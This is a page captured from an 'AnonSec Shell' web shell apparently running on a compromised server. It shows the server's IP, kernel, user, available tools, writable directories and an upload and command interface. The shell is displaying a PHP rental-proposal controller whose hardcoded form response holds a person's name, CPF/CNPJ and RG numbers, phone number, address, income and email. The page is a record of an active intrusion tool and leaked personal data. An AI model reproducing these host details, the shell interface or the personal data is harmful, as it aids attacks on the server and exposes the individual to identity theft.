AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leve/application/plugins/module_arbo/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leve/application/plugins/module_arbo/controllers/ArboFormsController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/ArboFormsModel.php";

class ArboController extends Controller
{
	/**
	 * @var
	 */
	protected $model;

	/**
	 * ArboController constructor.
	 * @param $ui
	 * @param $_L
	 * @param $config
	 * @param $_pd
	 */
	public function __construct($ui, $_L, $config, $_pd)
	{
		parent::__construct($ui, $_L, $config, $_pd);
		$this->model = new ArboFormsModel();
	}

	/**
	 *
	 */
	public function import()
	{
		$this->ui->assign('_st', $this->_L['Arbo']);

//		if($_SERVER['REQUEST_METHOD'] == 'POST') {
		$json_response = '{"event_id":"GMZ2GV9W4w","event_type":"form_response","form_response":{"form_id":"PTWF4F","token":"9a13ea56bc76873eb025c5eae12e4f7b","submitted_at":"2017-04-11T14:04:21Z","definition":{"id":"PTWF4F","title":"Propostas de Locação","fields":[{"id":"42949420","title":"Qual é o seu nome completo?","type":"short_text"},{"id":"43894154","title":"{{answer_42950383}} qual é seu telefone de contato?","type":"number"},{"id":"42955315","title":"Qual é sua profissão?","type":"short_text"},{"id":"42955463","title":"{{answer_42950383}} qual sua data de nascimento?","type":"date"},{"id":"42955495","title":"CPF ou CNPJ?","type":"number"},{"id":"42954787","title":"{{answer_42950383}}, seu estado civil seria?","type":"multiple_choice"},{"id":"47917268","title":"Como você gostaria de selecionar o imóvel para Proposta?","type":"multiple_choice"},{"id":"42951140","title":"Dentre as categorias de Casas, qual delas seria?","type":"multiple_choice"},{"id":"47917769","title":"{{answer_42950383}} qual dia você pretenderia se mudar par o imóvel?","type":"number"},{"id":"43252846","title":"Qual é o órgão expedidor do RG?","type":"short_text"},{"id":"42955654","title":"Qual é o seu atual endereço {{answer_42950383}}?","type":"short_text"},{"id":"42950383","title":"Como você gostaria de ser chamado?","type":"short_text"},{"id":"42950538","title":"{{answer_42950383}}, o imóvel que você tem interesse em fazer sua proposta é?","type":"multiple_choice"},{"id":"42951503","title":"{{answer_42950383}} qual o endereço do imóvel?","type":"short_text"},{"id":"42954102","title":"Qual o valor que você prentende locar o imóvel?","type":"number"},{"id":"42954161","title":"Qual a melhor data para pagamento do seu aluguel?","type":"multiple_choice"},{"id":"42955478","title":"Seu RG?","type":"number"},{"id":"42955786","title":"Por fim, qual sua renda mensal?","type":"number"},{"id":"43894233","title":"Neste contato há Whatsapp?","type":"multiple_choice"},{"id":"42950981","title":"Dentre os residenciais qual a categoria?","type":"multiple_choice"},{"id":"42954291","title":"Vamos finalizar seu cadastro para nosso futuro contrato de locação.\u003cbr /\u003eQual é a sua nacionalidade?\u003cbr /\u003e\u003cbr /\u003e","type":"multiple_choice"},{"id":"42955671","title":"Estamos finalizando, digite seu email por favor {{answer_42950383}}!","type":"email"}]},"answers":[{"type":"text","text":"Marcelo Miguel Cavalcanti","field":{"id":"42949420","type":"short_text"}},{"type":"number","number":4.343434343e+09,"field":{"id":"43894154","type":"number"}},{"type":"text","text":"Programador","field":{"id":"42955315","type":"short_text"}},{"type":"date","date":"2000-01-01","field":{"id":"42955463","type":"date"}},{"type":"number","number":7.330613894e+10,"field":{"id":"42955495","type":"number"}},{"type":"choice","choice":{"label":"Solteiro (a)"},"field":{"id":"42954787","type":"multiple_choice"}},{"type":"choice","choice":{"label":"Descrever o Imóvel"},"field":{"id":"47917268","type":"multiple_choice"}},{"type":"choice","choice":{"label":"Casa em rua"},"field":{"id":"42951140","type":"multiple_choice"}},{"type":"number","number":1,"field":{"id":"47917769","type":"number"}},{"type":"text","text":"sp","field":{"id":"43252846","type":"short_text"}},{"type":"text","text":"Rua Senador Souza Naves 9","field":{"id":"42955654","type":"short_text"}},{"type":"text","text":"Cadastro de Testes","field":{"id":"42950383","type":"short_text"}},{"type":"choice","choice":{"label":"Resindencial"},"field":{"id":"42950538","type":"multiple_choice"}},{"type":"text","text":"Rua Senador Souza Naves 9","field":{"id":"42951503","type":"short_text"}},{"type":"number","number":1,"field":{"id":"42954102","type":"number"}},{"type":"choice","choice":{"label":"Dia 10"},"field":{"id":"42954161","type":"multiple_choice"}},{"type":"number","number":4.70208892e+08,"field":{"id":"42955478","type":"number"}},{"type":"number","number":5000,"field":{"id":"42955786","type":"number"}},{"type":"choice","choice":{"label":"Sim, e tenho preferência neste canal"},"field":{"id":"43894233","type":"multiple_choice"}},{"type":"choice","choice":{"label":"Casa "},"field":{"id":"42950981","type":"multiple_choice"}},{"type":"choice","choice":{"label":"Brasileiro"},"field":{"id":"42954291","type":"multiple_choice"}},{"type":"email","email":"mmcavalcanti@sabesp.com.br","field":{"id":"42955671","type":"email"}}]}}';
		$data_response = json_decode($json_response, true);
//			$type_form = new TypeFormModel();

		$form_id = $data_response['form_response']['form_id'];
		$submitted_at = date('Y-m-d H:i:s', strtotime($data_response['form_response']['submitted_at']));
		$form_type = $data_response['form_response']['definition']['title'];

		$fields = $data_response['form_response']['definition']['fields'];
		$answers = $data_response['form_response']['answers'];

		$fields_values = array();
		foreach ($fields as $i => $item) {
			$field = str_replace('<br />', '', trim($item['title']));
			$type = $answers[$i]['type'];

			if ($type == 'choice') {
				$answer = $answers[$i]['choice']['label'];
			} else {
				$answer = $answers[$i][$type];
			}

			$field_clean = preg_replace("/[\s]?{{answer_[0-9]+}}[\s]?/", '', $field);
			$value_clean = preg_replace("/{{answer_[0-9]+}}\s/", '', trim($answer));

			$fields_values[$field_clean] = $value_clean;
		}

//		}

		$this->ui->assign('_include', 'import');
		$this->ui->display('wrapper.tpl');
	}

	/**
	 * Action para listagem de propostas de locação
	 */
	public function proposals()
	{
		$this->ui->assign('_st', $this->_L['Arbo']);

		$this->ui->assign('_include', 'proposals');
		$this->ui->display('wrapper.tpl');
	}

	/**
	 * Action para listagem de cadastros de imóveis
	 */
	public function realestate()
	{
		$this->ui->assign('_st', $this->_L['Arbo']);

		$this->ui->assign('_include', 'realestate');
		$this->ui->display('wrapper.tpl');
	}
}

Anon7 - 2022
AnonSec Team